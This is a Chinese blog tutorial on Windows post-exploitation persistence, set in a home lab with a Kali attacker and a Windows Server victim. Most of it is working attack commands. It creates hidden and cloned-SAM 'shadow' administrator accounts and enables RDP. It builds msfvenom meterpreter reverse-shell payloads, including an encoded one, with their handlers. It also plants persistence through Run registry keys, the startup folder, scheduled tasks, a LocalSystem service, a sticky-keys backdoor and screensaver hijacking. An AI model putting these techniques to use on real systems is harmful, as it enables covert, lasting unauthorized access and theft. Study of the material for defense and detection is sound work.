windows内网渗透--权限维持

环境准备
攻击机 kali 192.168.1.100
小鸡鸡 Windows Server(2022) 192.168.1.101

对于本地复现环境搭建
kali:
编辑一下网络配置文件

sudo nano /etc/network/interfaces

注释掉#source /etc/network/interfaces.d/*
添加剩下的(可直接复制下面代码)

GNU nano 7.2                                    /etc/network/interfaces
This file describes the network interfaces available on your system
and how to activate them. For more information, see interfaces(5).
#source /etc/network/interfaces.d/*
The loopback network interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 8.8.8.8 8.8.4.4

重启网络

sudo systemctl restart networking

成功截图
在这里插入图片描述但是我踩坑了,不知道为什么

在这里插入图片描述所以我们直接在这里添加即可(无语死了

然后如果还是有奇怪的问题修改

/etc/resolv.conf 

即可

windows sever2022
直接更改ipv4配置如下图
在这里插入图片描述
尝试相互ping通
在这里插入图片描述
在这里插入图片描述
ok环境配置完成

3389的开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

开完了可以检测一下
netstat -an|find “3389”

影子用户和半影子用户的创建
在这里插入图片描述

使用图形用户界面(GUI)
通过“计算机管理”查看用户
:
按 Windows + R 键打开运行对话框,输入 compmgmt.msc 并按回车,打开“计算机管理”控制台。
在左侧导航栏中,展开 本地用户和组,然后点击 用户。在右侧窗格中,你将看到所有本地用户的列表。
通过“服务器管理器”查看用户
:
打开“服务器管理器”。
点击左侧的“本地服务器”,然后在右侧的“属性”部分中,找到并点击 计算机管理。
在“计算机管理”窗口中,展开 本地用户和组,然后点击 用户,你将看到所有本地用户的列表。
使用命令行界面(CLI)
通过命令提示符(CMD)查看用户
:
打开命令提示符(可以通过按 Windows + R,输入 cmd,然后按回车打开)。
输入以下命令并按回车,查看所有本地用户:
cmd复制代码net user

这将显示一个所有本地用户的列表。
通过PowerShell查看用户
:
打开PowerShell(可以通过按 Windows + R,输入 powershell,然后按回车打开)。
输入以下命令并按回车,查看所有本地用户:
powershell复制代码Get-LocalUser

这将显示一个所有本地用户的列表。
远程查看用户(通过Active Directory)
如果你的服务器是域控制器或者连接到域,你可以通过Active Directory用户和计算机(ADUC)来查看域用户:
通过“Active Directory用户和计算机”查看用户:
按 Windows + R 键打开运行对话框,输入 dsa.msc 并按回车,打开“Active Directory用户和计算机”控制台。
在左侧导航栏中,展开你的域,然后点击 用户 或 组织单位(OU)。在右侧窗格中,你将看到域中的所有用户

半影子

net user test$ /add

net localgroup administrators test$ /add

在这里插入图片描述
全影子
cmd输入regedit
找到

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\

导出test
在这里插入图片描述
看到administrator是什么类型在user找到
在这里插入图片描述复制Administrator 中的F键值
找到test$的f值替换

在这里插入图片描述
将Administrator账户所复制的值,粘贴到hack 对应的 F 值中然后我们再去删除隐藏账户 t e s t 对应的F值中 然后我们再去删除隐藏账户test 对应的F值中然后我们再去删除隐藏账户test

net user test$ /del

在这里插入图片描述
现在计算机管理器和注册表都看不到了

然后执行刚刚导出的reg

这时我们会发现注册表中重新出现了test$这个用户
但是在net user是看不到的

在这里插入图片描述登陆同样如此

在这里插入图片描述不过这个远程登陆会挤号

msf php反向连接
生成

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php

kali:

msfconsole
    
use exploit/multi/handler 
    
set PAYLOAD php/meterpreter_reverse_tcp 
    
set LHOST 192.168.1.100
    
set LPORT  4444 
    

然后shell.php传到网站目录下运行
在这里插入图片描述
在这里插入图片描述
就会发现成功链接
在这里插入图片描述
在这里插入图片描述
接下来我们实现最简单的windows持久化
windows run注册表持久化

生成一个

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.100 lport=3333 -f exe > cmd32.exe

shikata_ga_nai是一个评分很高的编辑器 -i编码五次
host是攻击机的ip
msf exe

tmp文件夹是缓存目录,次路径可改

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\cmd32.exe"


reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\cmd32.exe"reg add

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /vPentestlab /t REG_SZ /d "C:\tmp\cmd32.exe"reg add

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"/v Pentestlab /t REG_SZ /d "C:\tmp\cmd32.exe"
Run
:
路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
作用:该项中的程序会在每次系统启动时运行。适用于持久性需求,即程序会在每次启动时自动执行。
RunOnce
:
路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
作用:该项中的程序仅会在下次系统启动时运行一次,然后从注册表中删除。这适用于需要只运行一次的任务。
RunServices
:
路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
作用:该项中的服务会在每次系统启动时运行。与 Run 类似,但专门针对服务。
RunServicesOnce
:
路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
作用:该项中的服务会在下次系统启动时运行一次,然后从注册表中删除。这适用于需要只运行一次的服务。

在这里插入图片描述

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 3333
exploit

在这里插入图片描述
成功实现最基础的windows run注册表持久化

开机自动启动(无需admin权限普通用户即可)
win+r 输入shell:common startup
把木马拖进去就行

在这里插入图片描述
持久性计划任务(普通用户权限)

30分钟执行一次
schtasks /create /tn system1 /tr “C:\tmp\cmd32” /sc onidle /i 30
在这里插入图片描述
新服务

sc create cmd binpath= "cmd.exe /k C:\temp\cmd32.exe" start= auto obj= "LocalSystem"
sc start cmd

DLL劫持
这个见我上一篇文章,这个还有个思路就是劫持后可以写一个添加管理员用户

粘黏键后门
点击五次shift
在这里插入图片描述首先我们执行

cacls c:\windows\system32\*.* /T /E /G administrators:F 
获得权限

在这里插入图片描述然后我们就发现
点击五次shift即可出现

在这里插入图片描述但是这个不是终极形态

在锁屏情况下依然可以调用cmd
在这里插入图片描述
屏幕保护程序windows权限维持

regedit

HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut


SCRNSAVE.EXE
:
路径:HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
说明:指定屏幕保护程序的路径。如果要设置某个特定的屏幕保护程序,可以将其完整路径设置为该键的值。
示例:C:\Windows\System32\scrnsave.scr
ScreenSaveActive
:
路径:HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
说明:指定屏幕保护程序是否启用。值为 1 表示启用,0 表示禁用。
示例:
启用屏幕保护程序:1
禁用屏幕保护程序:0
ScreenSaverIsSecure
:
路径:HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
说明:指定屏幕保护程序是否需要密码保护。值为 1 表示启用密码保护,0 表示禁用。
示例:
启用密码保护:1
禁用密码保护:0
ScreenSaveTimeOut
:
路径:HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
说明:指定屏幕保护程序启动前的等待时间,以秒为单位。
示例:
设置等待时间为 5 分钟:300

.scr 文件实际上是一个可执行文件,类似于 .exe 文件。它们可以包含相同的代码,并且可以执行相同的任务

  • 当用户在 Windows 上双击 .scr 文件时,它通常会启动并以全屏模式运行,显示预设的动画、图像或视频。
  • 如果在设置中选择了 .scr 文件作为屏幕保护程序,系统会在空闲时间达到设定值时自动运行该文件
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\cmd32.exe
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\tmp\cmd32.scr

powershell

New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\cmd32.exe'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'SCRNSAVE.EXE' -Value 'c:\tmp\cmd32.scr'

在这里插入图片描述一旦机器不活动时间段过去,将执行payload,建立交互

  • 9
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值